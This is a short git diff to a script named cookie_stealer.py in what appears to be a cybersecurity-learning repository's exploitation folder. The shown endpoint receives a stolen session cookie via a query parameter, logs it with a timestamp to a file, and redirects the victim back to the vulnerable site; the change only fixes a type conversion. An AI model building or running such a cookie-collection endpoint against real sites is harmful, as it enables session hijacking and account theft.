diff --git a/programming_and_scripting_for_cybersecurity/exploitation/cookie_stealer.py b/programming_and_scripting_for_cybersecurity/exploitation/cookie_stealer.py index 26315f9..2985028 100644 --- a/programming_and_scripting_for_cybersecurity/exploitation/cookie_stealer.py +++ b/programming_and_scripting_for_cybersecurity/exploitation/cookie_stealer.py @@ -19,7 +19,7 @@ def cookie(): cookie = request.args.get('c') f = open("cookies.txt","a") - f.write(cookie + ' ' + str(datetime.now()) + '\n') + f.write(str(cookie) + ' ' + str(datetime.now()) + '\n') f.close() # redirecting the user back to the vulnerable application